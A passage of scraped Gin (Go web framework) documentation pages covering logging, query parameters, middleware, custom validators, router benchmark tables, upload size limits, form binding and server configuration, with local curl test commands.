# No credentials -- returns 401 Unauthorized
curl http://localhost:8080/admin/secrets
```

----
url: https://gin-gonic.com/en/docs/logging/write-log/
----

[Skip to content](#_top)

# How to write log file

Writing logs to a file is essential for production applications where you need to retain request history for debugging, auditing, or monitoring. By default, Gin writes all log output to `os.Stdout`. You can redirect this by setting `gin.DefaultWriter` before creating the router.

```
package main


import (
  "io"
  "os"


  "github.com/gin-gonic/gin"
)


func main() {
    // Disable Console Color, you don't need console color when writing the logs to file.
    gin.DisableConsoleColor()


    // Logging to a file.
    f, _ := os.Create("gin.log")
    gin.DefaultWriter = io.MultiWriter(f)


    // Use the following code if you need to write the logs to file and console at the same time.
    // gin.DefaultWriter = io.MultiWriter(f, os.Stdout)


    router := gin.Default()
    router.GET("/ping", func(c *gin.Context) {
        c.String(200, "pong")
    })


    router.Run(":8080")
}
```

### Writing to both file and console

[Section titled “Writing to both file and console”](#writing-to-both-file-and-console)

The `io.MultiWriter` function from Go’s standard library accepts multiple `io.Writer` values and duplicates writes to all of them. This is useful during development when you want to see logs in the terminal while also persisting them to disk:

```
f, _ := os.Create("gin.log")
gin.DefaultWriter = io.MultiWriter(f, os.Stdout)
```

With this setup, every log entry is written to both `gin.log` and the console simultaneously.

### Log rotation in production

[Section titled “Log rotation in production”](#log-rotation-in-production)

The example above uses `os.Create`, which truncates the log file each time the application starts. In production, you typically want to append to existing logs and rotate files based on size or time. Consider using a log rotation library such as [lumberjack](https://github.com/natefinch/lumberjack):

```
import "gopkg.in/natefinch/lumberjack.v2"


func main() {
    gin.DisableConsoleColor()


    gin.DefaultWriter = &lumberjack.Logger{
        Filename:   "gin.log",
        MaxSize:    100, // megabytes
        MaxBackups: 3,
        MaxAge:     28, // days
    }


    router := gin.Default()
    router.GET("/ping", func(c *gin.Context) {
        c.String(200, "pong")
    })


    router.Run(":8080")
}
```

### See also

[Section titled “See also”](#see-also)

* [Custom log format](../custom-log-format/) – Define your own log line format.
* [Controlling log output coloring](../controlling-log-output-coloring/) – Disable or force colored output.
* [Skip logging](../skip-logging/) – Exclude specific routes from being logged.

----
url: https://gin-gonic.com/en/docs/logging/
----

[Skip to content](#_top)

# Logging

Gin includes a built-in logger middleware that records details about each HTTP request, including the status code, HTTP method, path, and latency.

When you create a router with `gin.Default()`, the logger middleware is automatically attached along with the recovery middleware:

```
// Logger and Recovery middleware are already attached
router := gin.Default()
```

If you need full control over which middleware to use, create a router with `gin.New()` and add the logger manually:

```
// No middleware attached
router := gin.New()


// Attach the logger middleware
router.Use(gin.Logger())
```

The default logger writes to `os.Stdout` and produces output like this for each request:

```
[GIN] 2025/06/01 - 15:04:05 | 200 |     512.345µs |       127.0.0.1 | GET      "/ping"
```

Each entry includes a timestamp, HTTP status code, request latency, client IP, HTTP method, and the requested path.

## In this section

[Section titled “In this section”](#in-this-section)

* [**Writing logs to a file**](./write-log/) – Redirect log output to a file, to the console, or to both at the same time.
* [**Custom log format**](./custom-log-format/) – Define your own log format using `LoggerWithFormatter`.
* [**Skip logging**](./skip-logging/) – Skip logging for specific paths or conditions.
* [**Controlling log output coloring**](./controlling-log-output-coloring/) – Enable or disable colorized log output.
* [**Avoid logging query strings**](./avoid-logging-query-strings/) – Strip query parameters from log output for security and privacy.
* [**Define format for the log of routes**](./define-format-for-the-log-of-routes/) – Customize how registered routes are printed at startup.

----
url: https://gin-gonic.com/en/docs/routing/querystring-param/
----

[Skip to content](#_top)

# Query string parameters

Query string parameters are the key-value pairs that appear after the `?` in a URL (for example, `/search?q=gin&page=2`). Gin provides two methods to read them:

* `c.Query("key")` returns the value of the query parameter, or an **empty string** if the key is not present.
* `c.DefaultQuery("key", "default")` returns the value, or the specified **default value** if the key is not present.

Both methods are shortcuts for accessing `c.Request.URL.Query()` with less boilerplate.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  // Query string parameters are parsed using the existing underlying request object.
  // The request responds to a url matching:  /welcome?firstname=Jane&lastname=Doe
  router.GET("/welcome", func(c *gin.Context) {
    firstname := c.DefaultQuery("firstname", "Guest")
    lastname := c.Query("lastname") // shortcut for c.Request.URL.Query().Get("lastname")


    c.String(http.StatusOK, "Hello %s %s", firstname, lastname)
  })
  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Both parameters provided
curl "http://localhost:8080/welcome?firstname=Jane&lastname=Doe"
# Output: Hello Jane Doe


# Missing firstname -- uses default value "Guest"
curl "http://localhost:8080/welcome?lastname=Doe"
# Output: Hello Guest Doe


# No parameters at all
curl "http://localhost:8080/welcome"
# Output: Hello Guest
```

## See also

[Section titled “See also”](#see-also)

* [Parameters in path](/en/docs/routing/param-in-path/)

----
url: https://gin-gonic.com/en/docs/middleware/using-middleware/
----

[Skip to content](#_top)

# Using middleware

Middleware in Gin are functions that run before (and optionally after) your route handler. They are used for cross-cutting concerns such as logging, authentication, error recovery, and request modification.

Gin supports three levels of middleware attachment:

* **Global middleware** — Applied to every route in the router. Registered with `router.Use()`. Good for concerns like logging and panic recovery that apply universally.
* **Group middleware** — Applied to all routes within a route group. Registered with `group.Use()`. Useful for applying authentication or authorization to a subset of routes (e.g., all `/admin/*` routes).
* **Per-route middleware** — Applied to a single route only. Passed as additional arguments to `router.GET()`, `router.POST()`, etc. Useful for route-specific logic such as custom rate limiting or input validation.

**Execution order:** Middleware functions execute in the order they are registered. When a middleware calls `c.Next()`, it passes control to the next middleware (or the final handler), and then resumes execution after `c.Next()` returns. This creates a stack-like (LIFO) pattern — the first middleware registered is the first to start but the last to finish. If a middleware does not call `c.Next()`, subsequent middleware and the handler are skipped (useful for short-circuiting with `c.Abort()`).

```
package main


import (
  "github.com/gin-gonic/gin"
)


func main() {
  // Creates a router without any middleware by default
  router := gin.New()


  // Global middleware
  // Logger middleware will write the logs to gin.DefaultWriter even if you set with GIN_MODE=release.
  // By default gin.DefaultWriter = os.Stdout
  router.Use(gin.Logger())


  // Recovery middleware recovers from any panics and writes a 500 if there was one.
  router.Use(gin.Recovery())


  // Per route middleware, you can add as many as you desire.
  router.GET("/benchmark", MyBenchLogger(), benchEndpoint)


  // Authorization group
  // authorized := router.Group("/", AuthRequired())
  // exactly the same as:
  authorized := router.Group("/")
  // per group middleware! in this case we use the custom created
  // AuthRequired() middleware just in the "authorized" group.
  authorized.Use(AuthRequired())
  {
    authorized.POST("/login", loginEndpoint)
    authorized.POST("/submit", submitEndpoint)
    authorized.POST("/read", readEndpoint)


    // nested group
    testing := authorized.Group("testing")
    testing.GET("/analytics", analyticsEndpoint)
  }


  // Listen and serve on 0.0.0.0:8080
  router.Run(":8080")
}
```

----
url: https://gin-gonic.com/en/docs/binding/custom-validators/
----

[Skip to content](#_top)

# Custom validators

Gin uses [go-playground/validator](https://github.com/go-playground/validator) for field-level validation. In addition to the built-in validators (like `required`, `email`, `min`, `max`), you can register your own custom validation functions.

The example below registers a `bookabledate` validator that rejects dates in the past, ensuring that booking check-in and check-out dates are always in the future.

```
package main


import (
  "net/http"
  "time"


  "github.com/gin-gonic/gin"
  "github.com/gin-gonic/gin/binding"
  "github.com/go-playground/validator/v10"
)


// Booking contains binded and validated data.
type Booking struct {
  CheckIn  time.Time `form:"check_in" binding:"required,bookabledate" time_format:"2006-01-02"`
  CheckOut time.Time `form:"check_out" binding:"required,gtfield=CheckIn,bookabledate" time_format:"2006-01-02"`
}


var bookableDate validator.Func = func(fl validator.FieldLevel) bool {
  date, ok := fl.Field().Interface().(time.Time)
  if ok {
    today := time.Now()
    if today.After(date) {
      return false
    }
  }
  return true
}


func main() {
  route := gin.Default()


  if v, ok := binding.Validator.Engine().(*validator.Validate); ok {
    v.RegisterValidation("bookabledate", bookableDate)
  }


  route.GET("/bookable", getBookable)
  route.Run(":8085")
}


func getBookable(c *gin.Context) {
  var b Booking
  if err := c.ShouldBindWith(&b, binding.Query); err == nil {
    c.JSON(http.StatusOK, gin.H{"message": "Booking dates are valid!"})
  } else {
    c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
  }
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Both dates are in the future and check_out > check_in
curl "http://localhost:8085/bookable?check_in=2118-04-16&check_out=2118-04-17"
# Output: {"message":"Booking dates are valid!"}


# check_out is before check_in -- fails gtfield validation
curl "http://localhost:8085/bookable?check_in=2118-03-10&check_out=2118-03-09"
# Output: {"error":"Key: 'Booking.CheckOut' Error:Field validation for 'CheckOut' failed on the 'gtfield' tag"}
```

## See also

[Section titled “See also”](#see-also)

* [Binding and validation](/en/docs/binding/binding-and-validation/)
* [Bind default values](/en/docs/binding/bind-default-values/)

----
url: https://gin-gonic.com/en/docs/benchmarks/
----

[Skip to content](#_top)

# Benchmarks

> **Updated Data:** These benchmarks were collected in March 2026 using Gin v1.12.0 and Go 1.25.8. For up-to-date benchmark results, see the [go-http-routing-benchmark](https://github.com/gin-gonic/go-http-routing-benchmark) repository.

## Gin Benchmark Report

[Section titled “Gin Benchmark Report”](#gin-benchmark-report)

**Test Environment:**

* **Host Platform:** Apple M4 Pro
* **Machine Specs:** macOS (Darwin 25.3.0), arm64
* **Test Date:** March 15th, 2026
* **Gin Version:** v1.12.0
* **Go Version:** 1.25.8 (darwin/arm64)
* **Benchmarks Source:** [Go HTTP Router Benchmark](https://github.com/gin-gonic/go-http-routing-benchmark)

***

## Summary

[Section titled “Summary”](#summary)

The table below ranks all routers by **GitHub API throughput** (203 routes, all methods), which best represents real-world routing workloads. *Lower ns/op is better.*

| Rank | Router        | ns/op     | B/op      | allocs/op | Zero-alloc |
| ---- | ------------- | --------- | --------- | --------- | ---------- |
| 1    | **Gin**       | 9,944     | 0         | 0         | ✓          |
| 2    | **BunRouter** | 10,281    | 0         | 0         | ✓          |
| 3    | **Echo**      | 11,072    | 0         | 0         | ✓          |
| 4    | HttpRouter    | 15,059    | 13,792    | 167       |            |
| 5    | HttpTreeMux   | 49,302    | 65,856    | 671       |            |
| 6    | Chi           | 94,376    | 130,817   | 740       |            |
| 7    | Beego         | 101,941   | 71,456    | 609       |            |
| 8    | Fiber         | 109,148   | 0         | 0         | ✓          |
| 9    | Macaron       | 121,785   | 147,784   | 1,624     |            |
| 10   | Goji v2       | 242,849   | 313,744   | 3,712     |            |
| 11   | GoRestful     | 885,678   | 1,006,744 | 3,009     |            |
| 12   | GorillaMux    | 1,316,844 | 225,667   | 1,588     |            |

**Key takeaways:**

* Gin, BunRouter, and Echo form the top tier — all achieve zero heap allocations and route the full GitHub API in approximately 10 microseconds.
* **HttpRouter** remains extremely fast but incurs 1 alloc per parameterized route (167 allocs for 203 routes).
* Fiber also achieves zero allocations, but its fasthttp-based benchmark infrastructure adds per-iteration reset overhead — direct comparisons with net/http routers warrant caution.
* **GorillaMux** and **GoRestful** are feature-rich but orders of magnitude slower, making them less suitable for latency-sensitive applications.

> **Fiber caveat:** Fiber benchmarks use `fasthttp.RequestCtx` with per-iteration Reset, which adds constant overhead not present in net/http benchmarks. Fiber-vs-Fiber comparisons are valid; cross-framework comparisons should be interpreted with care.

***

## Memory Consumption

[Section titled “Memory Consumption”](#memory-consumption)

Memory required for loading the routing structure (lower is better). Sorted by bytes ascending.

### Static Routes: 157

[Section titled “Static Routes: 157”](#static-routes-157)

| Router         | Bytes      |
| -------------- | ---------- |
| **HttpRouter** | **21,680** |
| **Gin**        | **34,408** |
| **Macaron**    | **36,976** |
| BunRouter      | 51,232     |
| Fiber          | 59,248     |
| HttpServeMux   | 71,728     |
| HttpTreeMux    | 73,448     |
| Chi            | 83,160     |
| Echo           | 91,976     |
| Beego          | 98,824     |
| Goji v2        | 117,952    |
| GorillaMux     | 599,496    |
| GoRestful      | 819,704    |

### GitHub API Routes: 203

[Section titled “GitHub API Routes: 203”](#github-api-routes-203)

| Router          | Bytes      |
| --------------- | ---------- |
| **HttpRouter**  | **37,072** |
| **Gin**         | **58,840** |
| **HttpTreeMux** | **78,800** |
| Macaron         | 90,632     |
| BunRouter       | 93,776     |
| Chi             | 94,888     |
| Echo            | 117,784    |
| Goji v2         | 118,640    |
| Beego           | 150,840    |
| Fiber           | 163,832    |
| GoRestful       | 1,270,848  |
| GorillaMux      | 1,319,696  |

### Google+ API Routes: 13

[Section titled “Google+ API Routes: 13”](#google-api-routes-13)

| Router         | Bytes     |
| -------------- | --------- |
| **HttpRouter** | **2,776** |
| **Gin**        | **4,576** |
| **BunRouter**  | **7,360** |
| HttpTreeMux    | 7,440     |
| Chi            | 8,008     |
| Goji v2        | 8,096     |
| Macaron        | 8,672     |
| Beego          | 10,256    |
| Fiber          | 10,840    |
| Echo           | 10,968    |
| GorillaMux     | 68,000    |
| GoRestful      | 72,536    |

### Parse API Routes: 26

[Section titled “Parse API Routes: 26”](#parse-api-routes-26)

| Router          | Bytes     |
| --------------- | --------- |
| **HttpRouter**  | **5,024** |
| **Gin**         | **7,896** |
| **HttpTreeMux** | **7,848** |
| BunRouter       | 9,336     |
| Chi             | 9,656     |
| Echo            | 13,816    |
| Macaron         | 13,704    |
| Fiber           | 15,352    |
| Goji v2         | 16,064    |
| Beego           | 19,256    |
| GorillaMux      | 105,384   |
| GoRestful       | 121,200   |

***

## Benchmark Results

[Section titled “Benchmark Results”](#benchmark-results)

### GitHub API (203 routes)

[Section titled “GitHub API (203 routes)”](#github-api-203-routes)

Routing all 203 GitHub API endpoints per operation.

| Rank | Router        | ns/op     | B/op      | allocs/op |
| ---- | ------------- | --------- | --------- | --------- |
| 1    | **Gin**       | 9,944     | 0         | 0         |
| 2    | **BunRouter** | 10,281    | 0         | 0         |
| 3    | **Echo**      | 11,072    | 0         | 0         |
| 4    | HttpRouter    | 15,059    | 13,792    | 167       |
| 5    | HttpTreeMux   | 49,302    | 65,856    | 671       |
| 6    | Chi           | 94,376    | 130,817   | 740       |
| 7    | Beego         | 101,941   | 71,456    | 609       |
| 8    | Fiber         | 109,148   | 0         | 0         |
| 9    | Macaron       | 121,785   | 147,784   | 1,624     |
| 10   | Goji v2       | 242,849   | 313,744   | 3,712     |
| 11   | GoRestful     | 885,678   | 1,006,744 | 3,009     |
| 12   | GorillaMux    | 1,316,844 | 225,667   | 1,588     |

### Google+ API (13 routes)

[Section titled “Google+ API (13 routes)”](#google-api-13-routes)

Routing all 13 Google+ API endpoints per operation.

| Rank | Router        | ns/op  | B/op   | allocs/op |
| ---- | ------------- | ------ | ------ | --------- |
| 1    | **BunRouter** | 348.5  | 0      | 0         |
| 2    | **Gin**       | 429.7  | 0      | 0         |
| 3    | **Echo**      | 451.1  | 0      | 0         |
| 4    | HttpRouter    | 668.6  | 640    | 11        |
| 5    | HttpTreeMux   | 2,428  | 4,032  | 38        |
| 6    | Fiber         | 2,506  | 0      | 0         |
| 7    | Chi           | 5,333  | 8,480  | 48        |
| 8    | Beego         | 5,927  | 4,576  | 39        |
| 9    | Macaron       | 7,294  | 9,464  | 104       |
| 10   | Goji v2       | 8,000  | 15,120 | 115       |
| 11   | GorillaMux    | 14,707 | 14,448 | 102       |
| 12   | GoRestful     | 24,189 | 60,720 | 193       |

### Parse API (26 routes)

[Section titled “Parse API (26 routes)”](#parse-api-26-routes)

Routing all 26 Parse API endpoints per operation.

| Rank | Router        | ns/op  | B/op    | allocs/op |
| ---- | ------------- | ------ | ------- | --------- |
| 1    | **BunRouter** | 588.2  | 0       | 0         |
| 2    | **Gin**       | 712.1  | 0       | 0         |
| 3    | **Echo**      | 742.1  | 0       | 0         |
| 4    | HttpRouter    | 948.5  | 640     | 16        |
| 5    | HttpTreeMux   | 3,372  | 5,728   | 51        |
| 6    | Fiber         | 4,250  | 0       | 0         |
| 7    | Chi           | 8,863  | 14,944  | 84        |
| 8    | Beego         | 10,541 | 9,152   | 78        |
| 9    | Macaron       | 13,635 | 18,928  | 208       |
| 10   | Goji v2       | 13,264 | 29,456  | 199       |
| 11   | GorillaMux    | 25,886 | 26,960  | 198       |
| 12   | GoRestful     | 54,780 | 131,728 | 380       |

### Static Routes (157 routes)

[Section titled “Static Routes (157 routes)”](#static-routes-157-routes)

Routing all 157 static routes per operation. Includes http.ServeMux as baseline.

| Rank | Router          | ns/op   | B/op    | allocs/op |
| ---- | --------------- | ------- | ------- | --------- |
| 1    | **HttpRouter**  | 4,177   | 0       | 0         |
| 2    | **HttpTreeMux** | 5,363   | 0       | 0         |
| 3    | **Gin**         | 5,528   | 0       | 0         |
| 4    | BunRouter       | 5,997   | 0       | 0         |
| 5    | Echo            | 6,897   | 0       | 0         |
| —    | HttpServeMux    | 18,172  | 0       | 0         |
| 6    | Fiber           | 29,310  | 0       | 0         |
| 7    | Chi             | 41,317  | 57,776  | 314       |
| 8    | Beego           | 68,255  | 55,264  | 471       |
| 9    | Macaron         | 81,824  | 114,296 | 1,256     |
| 10   | Goji v2         | 84,459  | 175,840 | 1,099     |
| 11   | GorillaMux      | 302,825 | 133,137 | 1,099     |
| 12   | GoRestful       | 436,510 | 677,824 | 2,193     |

***

## Micro Benchmarks

[Section titled “Micro Benchmarks”](#micro-benchmarks)

### Single Param

[Section titled “Single Param”](#single-param)

Route: `/user/:name` — Request: `GET /user/gordon`

| Rank | Router        | ns/op | B/op  | allocs/op |
| ---- | ------------- | ----- | ----- | --------- |
| 1    | **BunRouter** | 12.22 | 0     | 0         |
| 2    | **Echo**      | 17.75 | 0     | 0         |
| 3    | **Gin**       | 23.31 | 0     | 0         |
| 4    | HttpRouter    | 31.88 | 32    | 1         |
| 5    | Fiber         | 114.4 | 0     | 0         |
| 6    | HttpTreeMux   | 165.0 | 352   | 3         |
| 7    | Chi           | 332.2 | 704   | 4         |
| 8    | Beego         | 348.8 | 352   | 3         |
| 9    | Goji v2       | 494.3 | 1,136 | 8         |
| 10   | GorillaMux    | 630.6 | 1,152 | 8         |
| 11   | Macaron       | 708.0 | 1,064 | 10        |
| 12   | GoRestful     | 1,394 | 4,600 | 15        |

### 5 Params

[Section titled “5 Params”](#5-params)

Route: `/:a/:b/:c/:d/:e` — Request: `GET /test/test/test/test/test`

| Rank | Router        | ns/op | B/op  | allocs/op |
| ---- | ------------- | ----- | ----- | --------- |
| 1    | **BunRouter** | 41.86 | 0     | 0         |
| 2    | **Echo**      | 43.76 | 0     | 0         |
| 3    | **Gin**       | 44.20 | 0     | 0         |
| 4    | HttpRouter    | 83.74 | 160   | 1         |
| 5    | Fiber         | 271.6 | 0     | 0         |
| 6    | HttpTreeMux   | 358.8 | 576   | 6         |
| 7    | Chi           | 453.7 | 704   | 4         |
| 8    | Beego         | 480.3 | 352   | 3         |
| 9    | Goji v2       | 532.4 | 1,200 | 8         |
| 10   | Macaron       | 799.7 | 1,064 | 10        |
| 11   | GorillaMux    | 972.6 | 1,216 | 8         |
| 12   | GoRestful     | 1,579 | 4,712 | 15        |

### 20 Params

[Section titled “20 Params”](#20-params)

Route: `/:a/:b/.../:t` (20 segments) — Request: `GET /a/b/.../t`

| Rank | Router        | ns/op | B/op  | allocs/op |
| ---- | ------------- | ----- | ----- | --------- |
| 1    | **Gin**       | 121.7 | 0     | 0         |
| 2    | **Echo**      | 127.5 | 0     | 0         |
| 3    | **BunRouter** | 211.4 | 0     | 0         |
| 4    | HttpRouter    | 290.2 | 704   | 1         |
| 5    | Fiber         | 466.1 | 0     | 0         |
| 6    | Goji v2       | 745.3 | 1,440 | 8         |
| 7    | Beego         | 1,099 | 352   | 3         |
| 8    | Chi           | 1,805 | 2,504 | 9         |
| 9    | HttpTreeMux   | 1,857 | 3,144 | 13        |
| 10   | Macaron       | 2,058 | 2,864 | 15        |
| 11   | GorillaMux    | 2,223 | 3,272 | 13        |
| 12   | GoRestful     | 3,337 | 7,008 | 20        |

### Param Write

[Section titled “Param Write”](#param-write)

Route: `/user/:name` with response write — Request: `GET /user/gordon`

| Rank | Router        | ns/op | B/op  | allocs/op |
| ---- | ------------- | ----- | ----- | --------- |
| 1    | **BunRouter** | 25.86 | 0     | 0         |
| 2    | **Gin**       | 27.65 | 0     | 0         |
| 3    | HttpRouter    | 37.40 | 32    | 1         |
| 4    | Echo          | 47.94 | 8     | 1         |
| 5    | Fiber         | 125.7 | 0     | 0         |
| 6    | HttpTreeMux   | 180.4 | 352   | 3         |
| 7    | Chi           | 348.3 | 704   | 4         |
| 8    | Beego         | 386.1 | 360   | 4         |
| 9    | Goji v2       | 516.9 | 1,168 | 10        |
| 10   | GorillaMux    | 665.5 | 1,152 | 8         |
| 11   | Macaron       | 784.3 | 1,112 | 13        |
| 12   | GoRestful     | 1,534 | 4,608 | 16        |

----
url: https://gin-gonic.com/en/docs/routing/upload-file/limit-bytes/
----

[Skip to content](#_top)

# Limit upload size

Use `http.MaxBytesReader` to strictly limit the maximum size of uploaded files. When the limit is exceeded, the reader returns an error and you can respond with a `413 Request Entity Too Large` status.

This is important for preventing denial-of-service attacks where clients send excessively large files to exhaust server memory or disk space.

## How it works

[Section titled “How it works”](#how-it-works)

1. **Define limit** — A constant `MaxUploadSize` (1 MB) sets the hard cap for uploads.
2. **Enforce limit** — `http.MaxBytesReader` wraps `c.Request.Body`. If the client sends more bytes than allowed, the reader stops and returns an error.
3. **Parse and check** — `c.Request.ParseMultipartForm` triggers the read. The code checks for `*http.MaxBytesError` to return a `413` status with a clear message.

```
package main


import (
  "fmt"
  "net/http"


  "github.com/gin-gonic/gin"
)


const (
  MaxUploadSize = 1 << 20 // 1 MB
)


func uploadHandler(c *gin.Context) {
  // Wrap the body reader so only MaxUploadSize bytes are allowed
  c.Request.Body = http.MaxBytesReader(c.Writer, c.Request.Body, MaxUploadSize)


  // Parse multipart form
  if err := c.Request.ParseMultipartForm(MaxUploadSize); err != nil {
    if _, ok := err.(*http.MaxBytesError); ok {
      c.JSON(http.StatusRequestEntityTooLarge, gin.H{
        "error": fmt.Sprintf("file too large (max: %d bytes)", MaxUploadSize),
      })
      return
    }
    c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
    return
  }


  file, _, err := c.Request.FormFile("file")
  if err != nil {
    c.JSON(http.StatusBadRequest, gin.H{"error": "file form required"})
    return
  }
  defer file.Close()


  c.JSON(http.StatusOK, gin.H{
    "message": "upload successful",
  })
}


func main() {
  r := gin.Default()
  r.POST("/upload", uploadHandler)
  r.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Upload a small file (under 1 MB) -- succeeds
curl -X POST http://localhost:8080/upload \
  -F "file=@/path/to/small-file.txt"
# Output: {"message":"upload successful"}


# Upload a large file (over 1 MB) -- rejected
curl -X POST http://localhost:8080/upload \
  -F "file=@/path/to/large-file.zip"
# Output: {"error":"file too large (max: 1048576 bytes)"}
```

## See also

[Section titled “See also”](#see-also)

* [Single file](/en/docs/routing/upload-file/single-file/)
* [Multiple files](/en/docs/routing/upload-file/multiple-file/)

----
url: https://gin-gonic.com/en/docs/binding/bind-html-checkbox/
----

[Skip to content](#_top)

# Bind html checkboxes

HTML checkboxes with the same `name` attribute submit multiple values when checked. Gin can bind these values directly into a `[]string` slice on your struct by using the `form` struct tag with the `[]` suffix matching the HTML name.

This is useful for forms where users select one or more options — such as color pickers, permission selectors, or multi-select filters.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


type myForm struct {
  Colors []string `form:"colors[]"`
}


func main() {
  router := gin.Default()


  router.LoadHTMLGlob("templates/*")


  router.GET("/", func(c *gin.Context) {
    c.HTML(http.StatusOK, "form.html", nil)
  })


  router.POST("/", func(c *gin.Context) {
    var fakeForm myForm
    if err := c.ShouldBind(&fakeForm); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }
    c.JSON(http.StatusOK, gin.H{"color": fakeForm.Colors})
  })


  router.Run(":8080")
}
```

The corresponding HTML form (`templates/form.html`):

```
<form action="/" method="POST">
    <p>Check some colors</p>
    <label for="red">Red</label>
    <input type="checkbox" name="colors[]" value="red" id="red">
    <label for="green">Green</label>
    <input type="checkbox" name="colors[]" value="green" id="green">
    <label for="blue">Blue</label>
    <input type="checkbox" name="colors[]" value="blue" id="blue">
    <input type="submit">
</form>
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Select all three colors
curl -X POST http://localhost:8080/ \
  -d "colors[]=red&colors[]=green&colors[]=blue"
# Output: {"color":["red","green","blue"]}


# Select only one color
curl -X POST http://localhost:8080/ \
  -d "colors[]=green"
# Output: {"color":["green"]}


# No checkboxes selected -- slice is empty
curl -X POST http://localhost:8080/
# Output: {"color":[]}
```

## See also

[Section titled “See also”](#see-also)

* [Binding and validation](/en/docs/binding/binding-and-validation/)
* [Multipart/urlencoded binding](/en/docs/binding/multipart-urlencoded-binding/)

----
url: https://gin-gonic.com/en/docs/users/
----

[Skip to content](#_top)

# Users

Gin is used in production by companies and open-source projects of all sizes. Below is a selection of notable projects built with Gin. If your project uses Gin, we would love to add it to this list.

## Awesome Project Lists

[Section titled “Awesome Project Lists”](#awesome-project-lists)

* [gorush](https://github.com/appleboy/gorush): A push notification server written in Go.
* [fnproject](https://github.com/fnproject/fn): The container native, cloud agnostic serverless platform.
* [photoprism](https://github.com/photoprism/photoprism): AI-Powered Photos App for the Decentralized Web.
* [lura](https://github.com/luraproject/lura): Ultra performant API Gateway with middlewares.
* [picfit](https://github.com/thoas/picfit): An image resizing server written in Go.
* [gotify](https://github.com/gotify/server): A simple server for sending and receiving messages in real-time per WebSocket.
* [cds](https://github.com/ovh/cds): Enterprise-Grade Continuous Delivery & DevOps Automation Open Source Platform.
* [drone](https://github.com/harness/drone): A container-native, Continuous Delivery platform built on Go.
* [go-admin](https://github.com/GoAdminGroup/go-admin): A data visualization and admin panel framework for Go.
* [room](https://github.com/andreimerlescu/room): A drop in *waiting room* middleware for high throughput web applications.

## Submit your project

[Section titled “Submit your project”](#submit-your-project)

Using Gin in production or for an open-source project? Open a pull request on the [gin-gonic/website](https://github.com/gin-gonic/website) repository to add your project to this page.

----
url: https://gin-gonic.com/en/docs/middleware/error-handling-middleware/
----

[Skip to content](#_top)

# Error handling middleware

In a typical RESTful application, you might encounter errors in any route — invalid input, database failures, unauthorized access, or internal bugs. Handling errors individually in each handler leads to repetitive code and inconsistent responses.

A centralized error-handling middleware solves this by running after each request and checking for any errors added to the Gin context via `c.Error(err)`. If errors are found, it sends a structured JSON response with a proper status code.

```
package main


import (
  "errors"
  "net/http"


  "github.com/gin-gonic/gin"
)


// ErrorHandler captures errors and returns a consistent JSON error response
func ErrorHandler() gin.HandlerFunc {
  return func(c *gin.Context) {
    c.Next() // Process the request first


    // Check if any errors were added to the context
    if len(c.Errors) > 0 {
      err := c.Errors.Last().Err


      c.JSON(http.StatusInternalServerError, gin.H{
        "success": false,
        "message": err.Error(),
      })
    }
  }
}


func main() {
  r := gin.Default()


  // Attach the error-handling middleware
  r.Use(ErrorHandler())


  r.GET("/ok", func(c *gin.Context) {
    c.JSON(http.StatusOK, gin.H{
      "success": true,
      "message": "Everything is fine!",
    })
  })


  r.GET("/error", func(c *gin.Context) {
    c.Error(errors.New("something went wrong"))
  })


  r.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Successful request
curl http://localhost:8080/ok
# Output: {"message":"Everything is fine!","success":true}


# Error request -- middleware catches the error
curl http://localhost:8080/error
# Output: {"message":"something went wrong","success":false}
```

## See also

[Section titled “See also”](#see-also)

* [Custom middleware](/en/docs/middleware/custom-middleware/)
* [Using middleware](/en/docs/middleware/using-middleware/)

----
url: https://gin-gonic.com/en/docs/server-config/custom-http-config/
----

[Skip to content](#_top)

# Custom HTTP configuration

By default, `router.Run()` starts a basic HTTP server. For production use, you may need to customize timeouts, header limits, or TLS settings. You can do this by creating your own `http.Server` and passing the Gin router as the `Handler`.

## Basic usage

[Section titled “Basic usage”](#basic-usage)

Pass the Gin router directly to `http.ListenAndServe`:

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.GET("/ping", func(c *gin.Context) {
    c.String(http.StatusOK, "pong")
  })


  http.ListenAndServe(":8080", router)
}
```

## With custom server settings

[Section titled “With custom server settings”](#with-custom-server-settings)

Create an `http.Server` struct to configure read/write timeouts and other options:

```
package main


import (
  "net/http"
  "time"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.GET("/ping", func(c *gin.Context) {
    c.String(http.StatusOK, "pong")
  })


  s := &http.Server{
    Addr:           ":8080",
    Handler:        router,
    ReadTimeout:    10 * time.Second,
    WriteTimeout:   10 * time.Second,
    MaxHeaderBytes: 1 << 20,
  }
  s.ListenAndServe()
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
curl http://localhost:8080/ping
# Output: pong
```

## See also

[Section titled “See also”](#see-also)

* [Graceful restart or stop](/en/docs/server-config/graceful-restart-or-stop/)
* [Run multiple service](/en/docs/server-config/run-multiple-service/)

----
url: https://gin-gonic.com/en/docs/middleware/goroutines-inside-a-middleware/
----

[Skip to content](#_top)

# Goroutines inside a middleware

When starting new Goroutines inside a middleware or handler, you **SHOULD NOT** use the original context inside it, you have to use a read-only copy.

### Why `c.Copy()` is essential

[Section titled “Why c.Copy() is essential”](#why-ccopy-is-essential)

Gin uses a **sync.Pool** to reuse `gin.Context` objects across requests for performance. Once a handler returns, the `gin.Context` is returned to the pool and may be assigned to an entirely different request. If a goroutine still holds a reference to the original context at that point, it will read or write fields that now belong to another request. This leads to **race conditions**, **data corruption**, or **panics**.

Calling `c.Copy()` creates a snapshot of the context that is safe to use after the handler returns. The copy includes the request, URL, keys, and other read-only data, but is detached from the pool lifecycle.

```
package main


import (
  "log"
  "time"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.GET("/long_async", func(c *gin.Context) {
    // create copy to be used inside the goroutine
    cCp := c.Copy()
    go func() {
